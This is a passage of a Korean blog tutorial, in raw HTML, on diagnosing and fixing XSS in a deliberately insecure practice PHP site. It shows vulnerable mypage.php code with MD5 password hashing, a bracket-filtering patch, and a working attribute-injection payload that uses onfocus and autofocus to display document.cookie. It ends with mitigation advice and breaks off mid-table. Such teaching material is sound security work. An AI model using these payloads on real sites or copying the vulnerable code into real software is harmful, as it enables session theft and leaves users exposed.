this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1070&quot; height=&quot;176&quot; data-origin-width=&quot;1070&quot; data-origin-height=&quot;176&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;실제 취약점 진단 시 Name 입력값 같이 1개의 포인트에만 진단하는 것이 아닌, E-mail, Company 등 여러 입력값을 진단 후 대응하는 방법을 제시해야 한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;다시 해커 계정의 Name 입력값을 원래대로 수정힌다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;만약 꺽쇠를 입력할 수 없는 상황이면 어떻게 해야 할까?&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;rarr; 꺽쇠가 제거되는 경우, HTML Entity Encoding이 적용되는 경우&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;꺽쇠(&amp;lt;)를 사용하지 않고 XSS 를 발생시키는 방법을 알아본다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;먼저 꺽쇠(&amp;lt;)를 사용할 수 없도록 mypage.php 파일의 소스코드를 수정해본다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;경로: C:\APM_Setup\htdocs\insecure_website&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;lt; mypage.php &amp;gt;&lt;/p&gt;
&lt;pre id=&quot;code_1737384384344&quot; class=&quot;php&quot; data-ke-language=&quot;php&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;&amp;lt;?
	include_once(&quot;./common.php&quot;);

	$db_conn = mysql_conn();
	$id = $db_conn-&amp;gt;real_escape_string($_GET[&quot;id&quot;]);
	$gubun = $_POST[&quot;gubun&quot;];

	if($gubun == &quot;action&quot;) {
		$name = $db_conn-&amp;gt;real_escape_string($_POST[&quot;name&quot;]);
		$email = $db_conn-&amp;gt;real_escape_string($_POST[&quot;email&quot;]);
		$company = $db_conn-&amp;gt;real_escape_string($_POST[&quot;company&quot;]);
		$password = $_POST[&quot;password&quot;];
		if(!empty($password)) {
			$password = md5($password);
			$query = &quot;update members set name='{$name}', email='{$email}', company='{$company}', password='{$password}' where id='{$id}'&quot;;
			$result = $db_conn-&amp;gt;query($query);
		} else {
			$query = &quot;update members set name='{$name}', email='{$email}', company='{$company}' where id='{$id}'&quot;;
			$result = $db_conn-&amp;gt;query($query);
		}
		echo &quot;&amp;lt;script&amp;gt;alert('회원정보 수정완료');&amp;lt;/script&amp;gt;&quot;;
	}

	$query = &quot;select * from members where id='{$id}'&quot;;

	$result = $db_conn-&amp;gt;query($query);
	$num = $result-&amp;gt;num_rows;
?&amp;gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;$name 에 str_replace를 사용하여 꺽쇠를 다른 문자로 대체한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;lt; mypage.php 수정 코드 &amp;gt;&lt;/p&gt;
&lt;pre id=&quot;code_1737384452560&quot; class=&quot;php&quot; data-ke-language=&quot;php&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;&amp;lt;?
	include_once(&quot;./common.php&quot;);

	$db_conn = mysql_conn();
	$id = $db_conn-&amp;gt;real_escape_string($_GET[&quot;id&quot;]);
	$gubun = $_POST[&quot;gubun&quot;];

	if($gubun == &quot;action&quot;) {
		$name = $db_conn-&amp;gt;real_escape_string($_POST[&quot;name&quot;]);
		$name = str_replace(&quot;&amp;lt;&quot;, &quot;&amp;amp;lt;&quot;, $name);
		$name = str_replace(&quot;&amp;gt;&quot;, &quot;&amp;amp;gt;&quot;, $name);
		$email = $db_conn-&amp;gt;real_escape_string($_POST[&quot;email&quot;]);
		$company = $db_conn-&amp;gt;real_escape_string($_POST[&quot;company&quot;]);
		$password = $_POST[&quot;password&quot;];
		if(!empty($password)) {
			$password = md5($password);
			$query = &quot;update members set name='{$name}', email='{$email}', company='{$company}', password='{$password}' where id='{$id}'&quot;;
			$result = $db_conn-&amp;gt;query($query);
		} else {
			$query = &quot;update members set name='{$name}', email='{$email}', company='{$company}' where id='{$id}'&quot;;
			$result = $db_conn-&amp;gt;query($query);
		}
		echo &quot;&amp;lt;script&amp;gt;alert('회원정보 수정완료');&amp;lt;/script&amp;gt;&quot;;
	}

	$query = &quot;select * from members where id='{$id}'&quot;;

	$result = $db_conn-&amp;gt;query($query);
	$num = $result-&amp;gt;num_rows;
?&amp;gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;위 소스코드 적용 후 다시 Name 입력값에 스크립트를 삽입하면 세션값을 더 이상 가져오지 않는다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;해커&quot;&amp;gt;&amp;lt;script&amp;gt;alert(document.cookie)&amp;lt;/script&amp;gt; 입력한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이제는 더 이상 꺽쇠를 사용한 XSS 공격이 발생하지 않는다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1196&quot; data-origin-height=&quot;760&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/qUCpT/btsLSRDPEvH/HkflUUJqHCave2uz68Yohk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/qUCpT/btsLSRDPEvH/HkflUUJqHCave2uz68Yohk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/qUCpT/btsLSRDPEvH/HkflUUJqHCave2uz68Yohk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FqUCpT%2FbtsLSRDPEvH%2FHkflUUJqHCave2uz68Yohk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1196&quot; height=&quot;760&quot; data-origin-width=&quot;1196&quot; data-origin-height=&quot;760&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;크롬 개발자 도구로 확인하니 꺽쇠가 &amp;amp;lt, &amp;amp;gt로 치환된것을 확인할 수 있다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;530&quot; data-origin-height=&quot;36&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/rGM1g/btsLTJrygoU/lOZzNDdi32cTh6MK5RWfF0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/rGM1g/btsLTJrygoU/lOZzNDdi32cTh6MK5RWfF0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/rGM1g/btsLTJrygoU/lOZzNDdi32cTh6MK5RWfF0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FrGM1g%2FbtsLTJrygoU%2FlOZzNDdi32cTh6MK5RWfF0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;530&quot; height=&quot;36&quot; data-origin-width=&quot;530&quot; data-origin-height=&quot;36&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이제 꺽쇠를 사용하는 XSS 공격은 불가능하므로, 꺽쇠가 없는 상태의 XSS을 시도해본다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;더블 쿼터 (&quot;) 를 사용할 수 있으면 꺽쇠없이 XSS 공격이 가능하다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;만약 더블 쿼터 (&quot;)가 HTML Entity Encoding이 적용되어 다른 문자로 치환된다면 XSS 공격이 어려워진다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;lt;input type=&quot;text&quot; class=&quot;form-control&quot; name=&quot;name&quot; placeholder=&quot;Name Input&quot; value=&quot;&lt;span style=&quot;background-color: #f6e199;&quot;&gt;&lt;b&gt;해커&quot; onfocus=&quot;alert(document.cookie)&quot; autofocus=&quot;&lt;/b&gt;&lt;/span&gt;&quot;&amp;gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;XSS는 Javascript 를 실행하기 위한 방법을 사용하면 공격이 가능하다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;onfocus 는 &lt;span style=&quot;background-color: #ffffff; color: #474747; text-align: left;&quot;&gt;해당 요소(객체)에 포커스(초점) 되었을때 발생한다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;background-color: #ffffff; color: #474747; text-align: left;&quot;&gt;autofocus 는 &lt;span style=&quot;background-color: #ffffff; color: #474747; text-align: left;&quot;&gt;페이지가 로드될 때 자동으로 포커스(focus)가 &amp;lt;input&amp;gt; 요소로 이동한다.&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;background-color: #ffffff; color: #474747; text-align: left;&quot;&gt;&lt;span style=&quot;background-color: #ffffff; color: #474747; text-align: left;&quot;&gt;&amp;rarr; 로그인 페이지 클릭 시 ID 입력란에 자동으로 포커스 가는 것과 같다.&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Name 입력란에 포커스가 되면 onfocus가 발생하게 되고, document.cookie 경고창이 출력된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Name 입력값에 스크립트를 삽입하면, DB에 설정된 컬럼 길이 초과로 인해 해커 문자열만 확인되는데, 이때 해커를 한 문자로 변경시켜서 다시 시도해본다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;a&quot; onfocus=&quot;alert(document.cookie)&quot; autofocus=&quot;&lt;/b&gt;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1205&quot; data-origin-height=&quot;770&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/eizxLv/btsLUfQ3e5o/ZKUAOiMr7icMdrUUkh2MK0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/eizxLv/btsLUfQ3e5o/ZKUAOiMr7icMdrUUkh2MK0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/eizxLv/btsLUfQ3e5o/ZKUAOiMr7icMdrUUkh2MK0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FeizxLv%2FbtsLUfQ3e5o%2FZKUAOiMr7icMdrUUkh2MK0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1205&quot; height=&quot;770&quot; data-origin-width=&quot;1205&quot; data-origin-height=&quot;770&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;스크립트 입력 후 My Page에 접속하면 아래와 같이 세션값이 경고창으로 출력되는 것을 확인할 수 있다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1198&quot; data-origin-height=&quot;769&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bZInXj/btsLTaDebSn/xBKEwIWzpsd7WV8d0sJjEk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bZInXj/btsLTaDebSn/xBKEwIWzpsd7WV8d0sJjEk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bZInXj/btsLTaDebSn/xBKEwIWzpsd7WV8d0sJjEk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbZInXj%2FbtsLTaDebSn%2FxBKEwIWzpsd7WV8d0sJjEk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1198&quot; height=&quot;769&quot; data-origin-width=&quot;1198&quot; data-origin-height=&quot;769&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이렇게 태그에 따라 사용할 수 있는 Javascript 이벤트 핸들러를 통해서 XSS 공격을 시도할 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;해당 공격의 대응방안은 더블 쿼터 (&quot;)를 필터링한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;7) 대응 방안&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&lt;b&gt;대응하기 까다로운 XSS 취약점&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;SQL Injection은 싱글 쿼터 ' 에 대한 검증, 숫자형은 숫자 자체에 대한 검증을 하면 되고, 파일 업로드 취약점은 확장자 검증을 하면 되며, 파일 다운로드 취약점은 경로 이동 문자(../) 관련해서 필터링하면 된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;XSS 는 HTML 태그를 사용해야 하는 경우가 있어 대응하기 굉장히 까다롭다. (게시판)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;rarr; 환경에 따라 알맞게 적용해야 한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;서비스와 보안의 상관 관계&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 보안을 고려하면 서비스 효율이 낮아진다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 서비스 효율이 높아지면 보안이 낮아진다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;XSS 공격 유형별로 살펴보는 필수 문자&lt;/b&gt;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1116&quot; data-origin-height=&quot;743&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/DuCmz/btsLVyJLlFd/URr8gYJkj0uj4GD6PXe4N1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/DuCmz/btsLVyJLlFd/URr8gYJkj0uj4GD6PXe4N1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/DuCmz/btsLVyJLlFd/URr8gYJkj0uj4GD6PXe4N1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FDuCmz%2FbtsLVyJLlFd%2FURr8gYJkj0uj4GD6PXe4N1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1116&quot; height=&quot;743&quot; data-origin-width=&quot;1116&quot; data-origin-height=&quot;743&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;1번 예시는 &amp;lt;, &amp;gt; 꺽쇠가 사용된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;2번 예시는 &quot; &quot; 더블 쿼터가 사용된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;3번 예시는 &quot; &quot; 더블 쿼터 또는 양 옆에 싱글 쿼터를 사용하면,&amp;nbsp; ' ' 싱글 쿼터가 사용된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;XSS는 각각의 상황별로 대응해야할 문자가 다르다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;입력 값 용도에 따른 대응 프로세스 수립&lt;/b&gt;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1362&quot; data-origin-height=&quot;751&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/erJHvZ/btsLWBlmz5a/rkFkajkcjL50UgAZbvZxT0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/erJHvZ/btsLWBlmz5a/rkFkajkcjL50UgAZbvZxT0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/erJHvZ/btsLWBlmz5a/rkFkajkcjL50UgAZbvZxT0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FerJHvZ%2FbtsLWBlmz5a%2FrkFkajkcjL50UgAZbvZxT0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1362&quot; height=&quot;751&quot; data-origin-width=&quot;1362&quot; data-origin-height=&quot;751&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;table style=&quot;border-collapse: collapse; width: 100%;&quot; border=&quot;1&quot; data-ke-align=&quot;alignLeft&quot; data-ke-style=&quot;style12&quot;&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 14.4961%; text-align: center;&quot;&gt;&lt;b&gt;사용자 입력 값&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;width: 59.7286%; text-align: center;&quot;&gt;&lt;b&gt;대응 방안&lt;/b&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 14.4961%; text-align: center;&quot;&gt;숫자&lt;/td&gt;
&lt;td style=&quot;width: 59.7286%;&quot;&gt;is_numeric() 함수 사용, 정규 표현식을 통한 입력 값 검증&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 14.4961%; text-align: center;&quot;&gt;단순 문자(+숫자)&lt;/td&gt;
&lt;td style=&quot;width: 59.7286%;&quot;&gt;정규 표현식을 통한 입력 값 검증 a-z,A-Z,0-9&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 14.4961%; text-align: center;&quot;&gt;문자 + 특수 문자&lt;/td&gt;
&lt;td style=&quot;width: 59.7286%;&quot;&gt;1. 특정 패턴에 대한 정규 표현식 사용하여 입력값 검증 &lt;br /&gt;2. 특정 패턴에 없다면(게시글 내용 등) HTML 사용 여부에 따라 보안 라이브러리를 사용하거나 HTML Entity Encoding을 적용한다.&lt;br /&gt;&lt;br /&gt;- HTML 사용 여부 확인&lt;br /&gt;HTML 사용: 보안 라이브러리 사용(HTML Purifier)&lt;br /&gt;HTML 미사용: HTML Entity Encoding&lt;br /&gt;&lt;br /&gt;보안 라이브러리 직접 제작하는 경우에는 추가적인 검증이 필요하다.&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;대응 방안(1) : 정규 표현식을 통한 입력 값 검증 - 숫자&lt;/b&gt;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1225&quot; data-origin-height=&quot;756&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/68hbJ/btsLVkydaIH/N0kB75ETZYR1Q6bWBnFQVK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/68hbJ/btsLVkydaIH/N0kB75ETZYR1Q6bWBnFQVK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/68hbJ/btsLVkydaIH/N0kB75ETZYR1Q6bWBnFQVK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2F68hbJ%2FbtsLVkydaIH%2FN0kB75ETZYR1Q6bWBnFQVK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1225&quot; height=&quot;756&quot; data-origin-width=&quot;1225&quot; data-origin-height=&quot;756&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;대응 방안(1) : 정규 표현식을 통한 입력 값 검증 - 단순 문자(+숫자)&lt;/b&gt;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1222&quot; data-origin-height=&quot;758&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/byJ0NH/btsLUiagFV5/eZwmywoApQaGpdPGO7jZO0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/byJ0NH/btsLUiagFV5/eZwmywoApQaGpdPGO7jZO0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/byJ0NH/btsLUiagFV5/eZwmywoApQaGpdPGO7jZO0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbyJ0NH%2FbtsLUiagFV5%2FeZwmywoApQaGpdPGO7jZO0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1222&quot; height=&quot;758&quot; data-origin-width=&quot;1222&quot; data-origin-height=&quot;758&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;대응 방안(1) : 정규 표현식을 통한 입력 값 검증 - 문자 + 특수 문자&lt;/b&gt;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1222&quot; data-origin-height=&quot;755&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bcCD0J/btsLUinOIca/XTq4Og2DDKxWoMCCIpmHX1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bcCD0J/btsLUinOIca/XTq4Og2DDKxWoMCCIpmHX1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bcCD0J/btsLUinOIca/XTq4Og2DDKxWoMCCIpmHX1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbcCD0J%2FbtsLUinOIca%2FXTq4Og2DDKxWoMCCIpmHX1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1222&quot; height=&quot;755&quot; data-origin-width=&quot;1222&quot; data-origin-height=&quot;755&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;대응 방안(2) : 보안 라이브러리&lt;/b&gt;&lt;/p&gt;
&lt;table style=&quot;border-collapse: collapse; width: 76.0457%;&quot; border=&quot;1&quot; data-ke-align=&quot;alignLeft&quot; data-ke-style=&quot;style12&quot;&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 36.2791%; text-align: center;&quot;&gt;&lt;b&gt;라이브러리&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;width: 39.7674%; text-align: center;&quot;&gt;&lt;b&gt;엔티티&lt;/b&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
